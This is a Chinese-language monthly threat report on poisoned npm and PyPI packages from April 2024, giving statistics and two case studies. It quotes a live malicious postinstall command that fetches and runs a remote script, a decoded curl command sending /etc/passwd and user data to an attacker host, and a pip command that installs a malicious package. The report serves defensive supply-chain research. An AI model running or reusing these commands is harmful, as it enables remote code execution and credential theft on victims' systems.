悬镜供应链安全情报中心通过持续监测全网主流开源软件仓库,结合程序动静态分析方式对潜在风险的开源组件包进行动态跟踪和捕获,发现大量的开源组件恶意包投毒攻击事件。在2024年4月份,悬镜供应链安全情报中心在NPM官方仓库(https://www.npmjs.com/)和Pypi官方仓库(https://pypi.org/)上共捕获772个不同版本的恶意组件包,其中NPM仓库投毒占比接近89%, Pypi仓库投毒占比11%;Pypi官方仓库经历3月份遭受集中式投毒后,对新发布组件包进一步加强审查力度,本月Pypi恶意投毒攻击呈现大幅下降趋势。
4月份恶意组件数量及仓库分布
4月份恶意组件每日统计
4月份恶意组件态势统计
针对4月份捕获的恶意投毒组件,我们结合静态规则扫描、源代码审计、动态行为监控等方式进行多方位分析,总结统计投毒组件的攻击方式和恶意行为标签。
攻击方式统计
投毒组件攻击方式主要包括:
恶意文件执行
恶意文件下载
代码混淆执行
恶意文件释放
Shell命令执行
其中,投毒者最常用的攻击方式依旧是恶意文件执行(84.25%),其攻击流程是利用开源组件包管理器中的自定义指令来执行隐藏在组件安装包中的恶意文件。此外,恶意文件远程下载执行(8.64%)、恶意代码混淆(4.81%)、恶意文件释放执行(1.2%)以及Shell命令执行(1.09%)都是攻击者惯用的投毒手段。
恶意行为统计
在4月份捕获的恶意投毒组件中,信息窃取攻击占比高达93%,其中系统基础信息、系统密码文件、系统日志、用户信息、网络配置、DNS服务器IP、浏览器Cookie及登录凭证等敏感信息是攻击者的主要窃取目标。值得关注的是,Pypi仓库发生多起CStealer窃密后门以及挖矿后门投毒;其次,通过远控木马和反向Shell后门进行远控投毒的攻击呈现逐步上涨趋势。相较于3月份,针对数字钱包应用的攻击有较大幅度减少。
投毒案例分析
本节将从4月份捕获的开源组件恶意包中选取部分具有代表性的投毒样本进行分析、还原投毒攻击细节。
PART.1系统信息外传
4月15~16号,攻击者在Pypi官方仓库发布多个包名为rhermann相关的恶意包(包括rhermann、rhermann-ct、rhermann-sdsm以及rhermann-sds)。这些恶意包具有相同的攻击代码以及相同的高版本号(99.0),可推断攻击者尝试进行包依赖混淆(Dependency Confusion)供应链投毒。
恶意代码直接植入在Python安装包setup.py中,当包管理器下载安装这些恶意Python包时,恶意代码优先触发执行。恶意代码主要负责收集并外传受害者系统的版本信息、主机名、用户名、本地网络配置、DNS解析配置、主机IP等敏感数据(如下图所示)。
收集到的系统敏感信息将被外传给攻击者控制的服务接口:https://pypi-index.org/process_data
该恶意域名pypi-index.org与Pypi官方域名相比具备一定迷惑性,注册时间为2024年4月10号。
截止目前,国内部分Python镜像源仍缓存这些恶意包,其Pypi官方包下载量为758次。
以rhermann为例,目前该恶意Py包仍可从国内主流Pypi镜像源(清华大学、腾讯云等)下载安装,因此潜在的受害者数量可能会更多。
以国内清华大学镜像源为例,可通过以下命令测试安装该恶意组件包。
pip3 install rhermann -i Simple Index
Part2 恶意设立了命令执行
4月2号,攻击者在NPM官方仓库发布包名为monopulips的恶意NPM组件。在组件安装包的模块描述文件package.json中,通过定义postinstall指令在安装过程中执行恶意bash命令。
bash -c 'curl -sSL https://research20934i.sherlockshat007.workers.dev -o script.sh && chmod +x script.sh && ./script.sh && rm -f script.sh'
恶意bash命令通过curl从攻击者服务器(https://research20934i.sherlockshat007.workers.dev)拉取第二阶段恶意bash脚本(script.sh)受害者系统上执行。
第二阶段bash脚本内容如上所示,其内嵌了一段编码后(先base64编码再字符串反转)的bash脚本代码,进一步解码后获取第三阶段真实的恶意bash代码解码(如下所示),其主要目的是将系统密码文件/etc/passwd、bash历史文件~/.bash_history 外传到攻击者服务器(https://8b53a8d8a1c2.sherlockshat007.workers.dev)
curl -X POST -H "Hostname: $(hostname)" -H "packagetype: NPM" -H "Whoami: $(whoami)" -H "Pwd: $(pwd)" -d "Install Directory: \n $(ls -la) \n Security Groups: \n $(id) \n User Directory: \n $(ls ~)\n etc-passwd: \n $(cat /etc/passwd )